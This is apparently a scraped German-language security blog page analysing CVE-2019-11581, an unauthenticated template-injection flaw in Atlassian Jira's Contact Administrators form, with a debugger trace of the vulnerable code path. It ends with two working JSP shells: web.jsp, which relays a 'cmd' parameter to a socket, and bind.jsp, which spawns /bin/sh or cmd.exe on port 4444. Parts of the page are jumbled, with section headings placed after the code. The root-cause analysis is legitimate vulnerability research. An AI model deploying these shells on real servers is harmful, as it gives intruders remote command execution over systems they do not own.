CVE-2019-11581 — Atlassian Jira unauthentifizierte Template-Injection | Kitploit

Atlassian Jira Template-Injection ohne Authentifizierung (CVE-2019-11581)

I) Erstellung

1. Fehlerhafte Versionen

4.4.x
5.x.x
6.x.x
7.0.x
7.1.x
7.2.x
7.3.x
7.4.x
7.5.x
7.6.x before 7.6.14 (the fixed version for 7.6.x)
7.7.x
7.8.x
7.9.x
7.10.x
7.11.x
7.12.x
7.13.x before 7.13.5 (the fixed version for 7.13.x)
8.0.x before 8.0.3 (the fixed version for 8.0.x)
8.1.x before 8.1.2 (the fixed version for 8.1.x)
8.2.x before 8.2.3 (the fixed version for 8.2.x)

2. Build und Debugging

Ändere den Wert set JVM_SUPPORT_RECOMMENDED_ARGS= in der Datei ./bin/setenv.bat (oder analog in ./bin/setenv.sh unter Linux), um Remote-Debugging zu ermöglichen.

set JVM_SUPPORT_RECOMMENDED_ARGS=-agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=5005

In der IDE (Intellij) erstellen wir eine Debug-Konfiguration: mit und als localhost:5005 und

Tool herunterladen

Remote JVM Debug

host

port

Command line arguments for remote JVM

Ich sehe, dass die Anfrage an /secure/ContactAdministrators.jspa geht; also schaue ich in die Datei ./atlassian-jira/WEB-INF/web.xml, um herauszufinden, an welche Klasse diese Anfrage weitergeleitet wird.
Die Anfrage wird also von JiraWebworkActionDispatcher verarbeitet. Deshalb setze ich in dieser Klasse Haltepunkte in init und server und starte das Debugging.
Damit stoppt das Programm in der Methode server; nach etwas Tracing springt es zu ContactAdministrators.doExecute().
Danach geht es durch send; hier listet das Programm die aktiven Admin-Konten auf.
Danach durchläuft das Programm die Funktion sendTo. Hier sehen wir, dass das Programm eine MailQueueItem erstellt und sie zur mailQueue hinzufügt.
Das Programm ruft die Funktion EmailBuilder.withSubject auf. Hier wird der Subject-String der E-Mail (vom Angreifer gesendet) von String in TemplateSources umgewandelt und dem Parameter subjectTemplate des EmailBuilder zugewiesen.
In der Funktion renderLater erstellt das Programm einen EmailRenderer und verwendet ihn, um eine RenderingMailQueueItem zu erzeugen.
Von hier aus zurück in der Funktion ContactAdministrators.sendTo: Nachdem eine MailQueueItem erstellt wurde, fügt das Programm das Element zur mailQueue hinzu und kehrt zur Funktion doExecute zurück, um eine Weiterleitung durchzuführen. Wenn wir diesem Debug-Fluss folgen, können wir nicht zu dem Teil springen, in dem das Programm die E-Mail rendert, und erreichen daher die Stelle nicht, an der die Template-Injection auftritt. Was also tun, um die E-Mail-Verarbeitung zu verfolgen???
Ich sehe, dass EmailRenderer eine Funktion renderNow hat (das Programm ruft nur renderLater auf). Ich vermute, dass eine E-Mail in der Warteschlange, wenn sie zum Rendern aufgerufen wird, dem gleichen Ablauf wie renderNow folgt. Deshalb beschließe ich, ab renderNow zu tracen.
Von renderNow ruft das Programm EmailRenderer.render() auf. Ich setze hier einen Haltepunkt und sende die Anfrage erneut, um zu sehen, ob das Programm tatsächlich bis hierher läuft.
Glücklicherweise folgt das Programm genau der vermuteten Richtung. Als Nächstes ruft es renderEmailSubject auf.
Danach ruft das Programm DefaultVelocityTemplatingEngine.render(this.subjectTemplate) auf.
Es gelangt zu DefaultVelocityTemplatingEngine.applying und DefaultVelocityTemplatingEngine.asPlainText.
Weiter geht es mit dem Aufruf von asPlainText(Writer writer).
Bei toWriterImpl springt das Programm, da der übergebene writer ein Fragment ist, in den else-Zweig.

private void toWriterImpl(Writer writer, boolean attachCartridge) throws IOException {
            if (this.source instanceof File) {
                File template = (File)this.source;
                if (attachCartridge) {
                    this.context.attachEventCartridge(DefaultVelocityTemplatingEngine.this.createDefaultCartridge());
                }

                DefaultVelocityTemplatingEngine.this.velocityManager.writeEncodedBody(writer, template.getPath(), "", DefaultVelocityTemplatingEngine.this.applicationProperties.getEncoding(), this.context);
            } else if (this.source instanceof Fragment) {
                Fragment fragment = (Fragment)this.source;
                if (attachCartridge) {
                    this.context.attachEventCartridge(DefaultVelocityTemplatingEngine.this.createDefaultCartridge());
                }

                DefaultVelocityTemplatingEngine.this.velocityManager.writeEncodedBodyForContent(writer, fragment.getContent(), this.context);
            }

        }

public boolean render(Context context, Writer writer, String logTag, SimpleNode nodeTree) throws IOException {
        InternalContextAdapterImpl ica = new InternalContextAdapterImpl(context);
        ica.pushCurrentTemplateName(logTag);

        try {
            try {
                nodeTree.init(ica, this);
            } catch (TemplateInitException var13) {
                throw new ParseErrorException(var13);
            } catch (RuntimeException var14) {
                throw var14;
            } catch (Exception var15) {
                String msg = "RuntimeInstance.render(): init exception for tag = " + logTag;
                this.getLog().error(msg, var15);
                throw new VelocityException(msg, var15);
            }

            nodeTree.render(ica, writer);       ### Có thể RCE ở đây ###
        } finally {
            ica.popCurrentTemplateName();
        }

        return true;
    }

ContactAdministrators:	doExecute -> send -> sendTo
	-> EmailBuilder -> renderLater
	
RenderingMailQueueItem: send
	-> emailRenderer: render -> renderEmailSubject
		-> DefaultVelocityTemplatingEngine: asPlainText -> asPlainText(Writer writer) -> toWriterImpl
			-> DefaultVelocityManager: writeEncodedBodyForContent
				->VelocityEngine: evaluate
					> RuntimeInstance: evaluate -> evaluate -> render
						=>  SimpleNode: render

<%@page import="java.lang.*"%>
<%@page import="java.util.*"%>
<%@page import="java.io.*"%>
<%@page import="java.net.*"%>
<%
  Socket socket = new Socket( "127.0.0.1", 4444 );
  
  OutputStream output = socket.getOutputStream();
  PrintWriter writer = new PrintWriter(output, true);
  writer.println(request.getParameter("cmd"));
  
  InputStream input = socket.getInputStream();
  DataInputStream dis = new DataInputStream(input);
  String disr = dis.readLine();
    while ( disr != null ) {
        out.println(disr); 
        disr = dis.readLine(); 
    }
        
	socket.close();
  
%>

<%@page import="java.lang.*"%>
<%@page import="java.util.*"%>
<%@page import="java.io.*"%>
<%@page import="java.net.*"%>

<%
  class StreamConnector 
  {
    InputStream md;
    OutputStream ao;

    StreamConnector( InputStream md, OutputStream ao )
    {
      this.md = md;
      this.ao = ao;
    }

    public void run()
    {
      BufferedReader yw  = null;
      BufferedWriter enf = null;
      try
      {
        yw  = new BufferedReader( new InputStreamReader( this.md ) );
        enf = new BufferedWriter( new OutputStreamWriter( this.ao ) );
        char buffer[] = new char[8192];
        int length  = yw.read( buffer, 0, buffer.length); 
        enf.write( buffer, 0, length );
        enf.flush();
      } catch( Exception e ){}
      
    }
	
  }

  try
  {
    String ShellPath;
if (System.getProperty("os.name").toLowerCase().indexOf("windows") == -1) {
  ShellPath = new String("/bin/sh");
} else {
  ShellPath = new String("cmd.exe");
}

    ServerSocket server_socket = new ServerSocket(4444,1048576,InetAddress.getByName((String)"127.0.0.1") );
	
    Process process = Runtime.getRuntime().exec( ShellPath );
		
    while (true) {
     Socket client_socket = server_socket.accept();
	 ( new StreamConnector( client_socket.getInputStream(), process.getOutputStream() ) ).run();
	 
	  Thread.sleep(1000);
	  
	 ( new StreamConnector( process.getInputStream(), client_socket.getOutputStream() ) ).run();
	
      client_socket.close();
    }

  } catch( Exception e ) {}
  
%>

CVE-2019-11581

Beliebteste

II) Analyse

Stack-Aufruf

Datei: web.jsp

Datei: bind.jsp

Behebung